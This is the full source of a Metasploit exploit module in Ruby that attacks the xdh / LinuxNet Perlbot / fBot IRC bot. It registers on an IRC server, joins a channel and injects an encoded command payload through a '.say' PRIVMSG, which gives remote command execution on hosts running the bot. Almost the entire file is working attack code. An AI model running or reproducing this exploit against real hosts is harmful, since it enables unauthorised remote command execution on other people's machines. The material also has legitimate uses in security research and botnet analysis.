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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf :: Exploit :: Remote
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Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: Tcp
def initialize ( info = { } )
super ( update_info ( info ,
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'Name' = > 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution' ,
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'Description' = > %q{
This module allows remote command execution on an IRC Bot developed by xdh .
This perl bot was caught by Conor Patrick with his shellshock honeypot server
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and is categorized by Markus Zanke as an fBot ( Fire & Forget - DDoS Bot ) . Matt
Thayer also found this script which has a description of LinuxNet perlbot .
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The bot answers only based on the servername and nickname in the IRC message
which is configured on the perl script thus you need to be an operator on the IRC
network to spoof it and in order to exploit this bot or have at least the same ip
to the config .
} ,
'Author' = >
[
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#MalwareMustDie
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'Jay Turla' , # msf
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'Conor Patrick' , # initial discovery and botnet analysis for xdh
'Matt Thayer' # initial discovery for LinuxNet perlbot
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] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'URL' , 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ] ,
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[ 'URL' , 'https://twitter.com/MrMookie/status/673389285676965889' ] , # Matt's discovery
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[ 'URL' , 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is
] ,
'Platform' = > %w{ unix win } ,
'Arch' = > ARCH_CMD ,
'Payload' = >
{
'Space' = > 300 , # According to RFC 2812, the max length message is 512, including the cr-lf
'DisableNops' = > true ,
'Compat' = >
{
'PayloadType' = > 'cmd'
}
} ,
'Targets' = >
[
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[ 'xdh Botnet / LinuxNet perlbot' , { } ]
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] ,
'Privileged' = > false ,
'DisclosureDate' = > 'Dec 04 2015' ,
'DefaultTarget' = > 0 ) )
register_options (
[
Opt :: RPORT ( 6667 ) ,
OptString . new ( 'IRC_PASSWORD' , [ false , 'IRC Connection Password' , '' ] ) ,
OptString . new ( 'NICK' , [ true , 'IRC Nickname' , 'msfuser' ] ) , # botnet administrator name
OptString . new ( 'CHANNEL' , [ true , 'IRC Channel' , '#channel' ] )
] , self . class )
end
def check
connect
res = register ( sock )
if res =~ / 463 / || res =~ / 464 /
vprint_error ( " #{ rhost } : #{ rport } - Connection to the IRC Server not allowed " )
return Exploit :: CheckCode :: Unknown
end
res = join ( sock )
if ! res =~ / 353 / && ! res =~ / 366 /
vprint_error ( " #{ rhost } : #{ rport } - Error joining the #{ datastore [ 'CHANNEL' ] } channel " )
return Exploit :: CheckCode :: Unknown
end
quit ( sock )
disconnect
if res =~ / auth / && res =~ / logged in /
Exploit :: CheckCode :: Vulnerable
else
Exploit :: CheckCode :: Safe
end
end
def send_msg ( sock , data )
sock . put ( data )
data = " "
begin
read_data = sock . get_once ( - 1 , 1 )
while ! read_data . nil?
data << read_data
read_data = sock . get_once ( - 1 , 1 )
end
rescue :: EOFError , :: Timeout :: Error , :: Errno :: ETIMEDOUT = > e
elog ( " #{ e . class } #{ e . message } \n #{ e . backtrace * " \n " } " )
end
data
end
def register ( sock )
msg = " "
if datastore [ 'IRC_PASSWORD' ] && ! datastore [ 'IRC_PASSWORD' ] . empty?
msg << " PASS #{ datastore [ 'IRC_PASSWORD' ] } \r \n "
end
if datastore [ 'NICK' ] . length > 9
nick = rand_text_alpha ( 9 )
print_error ( " The nick is longer than 9 characters, using #{ nick } " )
else
nick = datastore [ 'NICK' ]
end
msg << " NICK #{ nick } \r \n "
msg << " USER #{ nick } #{ Rex :: Socket . source_address ( rhost ) } #{ rhost } : #{ nick } \r \n "
send_msg ( sock , msg )
end
def join ( sock )
join_msg = " JOIN #{ datastore [ 'CHANNEL' ] } \r \n "
send_msg ( sock , join_msg )
end
def xdh_command ( sock )
encoded = payload . encoded
command_msg = " PRIVMSG #{ datastore [ 'CHANNEL' ] } :.say #{ encoded } \r \n "
send_msg ( sock , command_msg )
end
def quit ( sock )
quit_msg = " QUIT :bye bye \r \n "
sock . put ( quit_msg )
end
def exploit
connect
print_status ( " #{ rhost } : #{ rport } - Registering with the IRC Server... " )
res = register ( sock )
if res =~ / 463 / || res =~ / 464 /
print_error ( " #{ rhost } : #{ rport } - Connection to the IRC Server not allowed " )
return
end
print_status ( " #{ rhost } : #{ rport } - Joining the #{ datastore [ 'CHANNEL' ] } channel... " )
res = join ( sock )
if ! res =~ / 353 / && ! res =~ / 366 /
print_error ( " #{ rhost } : #{ rport } - Error joining the #{ datastore [ 'CHANNEL' ] } channel " )
return
end
print_status ( " #{ rhost } : #{ rport } - Exploiting the malicious IRC bot... " )
xdh_command ( sock )
quit ( sock )
disconnect
end
end